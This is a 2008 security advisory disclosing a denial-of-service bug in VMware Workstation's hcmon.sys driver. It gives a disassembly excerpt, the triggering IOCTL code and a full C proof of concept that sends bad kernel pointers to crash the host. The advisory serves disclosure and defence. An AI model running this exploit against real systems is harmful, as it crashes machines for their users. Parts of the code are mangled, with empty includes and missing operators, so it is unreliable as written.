Hash: SHA1 - - Orange Bat advisory - Name : VMWare Workstation (hcmon.sys 6.0.0.45731)
Class : DoS
Published : 2008-08-17
Credit : g_ (g_ # orange-bat # com) - - Details - Fails to sanitize pointers sent from usermode with METHOD_NEITHER. hcmon.sys: .text:00011606 loc_11606: .text:00011606 mov eax, [ebp SystemBuffer]
.text:00011609 mov [ebp SystemBuffer2], eax
.text:0001160C mov ecx, [ebp SystemBuffer2]
.text:0001160F mov edx, [ecx 0Ch] <---- BUGCHECK
.text:00011612 cmp edx, [ebp var_20]
.text:00011615 jnz short loc_11629
.text:00011617 cmp [ebp NumberOfBytes], 70h
.text:0001161B jb short loc_11629
.text:0001161D mov eax, [ebp SystemBuffer2]
.text:00011620 cmp dword ptr [eax 8], 7FFBh
.text:00011627 jbe short loc_11638 This code can be reached by sending 0x8101232B IOCTL to .hcmon
device.
- - Proof of concept -
#include
#include
#include
void TextError(LPTSTR lpszFunction)
{
// Retrieve the system error message for the last-error code LPVOID lpMsgBuf;
LPVOID lpDisplayBuf;
DWORD dw = GetLastError(); FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM |
FORMAT_MESSAGE_IGNORE_INSERTS,
NULL,
dw,
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
(LPTSTR) &lpMsgBuf,
0, NULL ); // Display the error message and exit the process lpDisplayBuf = (LPVOID)LocalAlloc(LMEM_ZEROINIT,
(lstrlen((LPCTSTR)lpMsgBuf) lstrlen((LPCTSTR)lpszFunction) 40)
*sizeof(TCHAR));
sprintf((LPTSTR)lpDisplayBuf,
TEXT("%s failed with error %d: %s"),
lpszFunction, dw, lpMsgBuf);
//MessageBox(NULL, (LPCTSTR)lpDisplayBuf, TEXT("Error"), MB_OK); printf(lpDisplayBuf); LocalFree(lpMsgBuf);
LocalFree(lpDisplayBuf);
}
BOOL TestIOCTL(PCHAR DeviceName, DWORD Ioctl, DWORD InputBuffer,
DWORD InputLen, DWORD OutputBuffer, DWORD OutputLen )
{
HANDLE hDevice; // handle to the drive to be examined
BOOL bResult; // results flag
DWORD junk; // discard results
IO_STATUS_BLOCK IoStatusBlock; hDevice = CreateFile(DeviceName,
0, // no access to the drive
FILE_SHARE_READ | // share mode
FILE_SHARE_WRITE,
NULL, // default security attributes
OPEN_EXISTING, // disposition
0, // file attributes
NULL); // do not copy file attributes if (hDevice == INVALID_HANDLE_VALUE) // cannot open the drive
{
TextError("CreateFile");
return (FALSE);
}
bResult = DeviceIoControl(hDevice, // device to be queried
Ioctl,
(PVOID)InputBuffer,
InputLen,
(PVOID)OutputBuffer,
OutputLen, // output buffer
&junk, // # bytes returned
(LPOVERLAPPED)NULL); // synchronous I/O
if(!bResult){
TextError("DeviceIoControl");
} CloseHandle(hDevice); return TRUE;
} int main(int argc, char *argv[])
{
DWORD Ioctl, Input, ILen, Output, OLen;
DWORD SSDT;
char *ptr; if(TestIOCTL(".hcmon", 0x8101232B, 0x80000001, 0, 0x80000002, 0)){
printf("You should not see this");
}
else{
printf("Failed to open device");
}
return 0;
}
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that no changes are made and that the copyright notices and
disclaimers remain intact. (c) 2008 www.orange-bat.com
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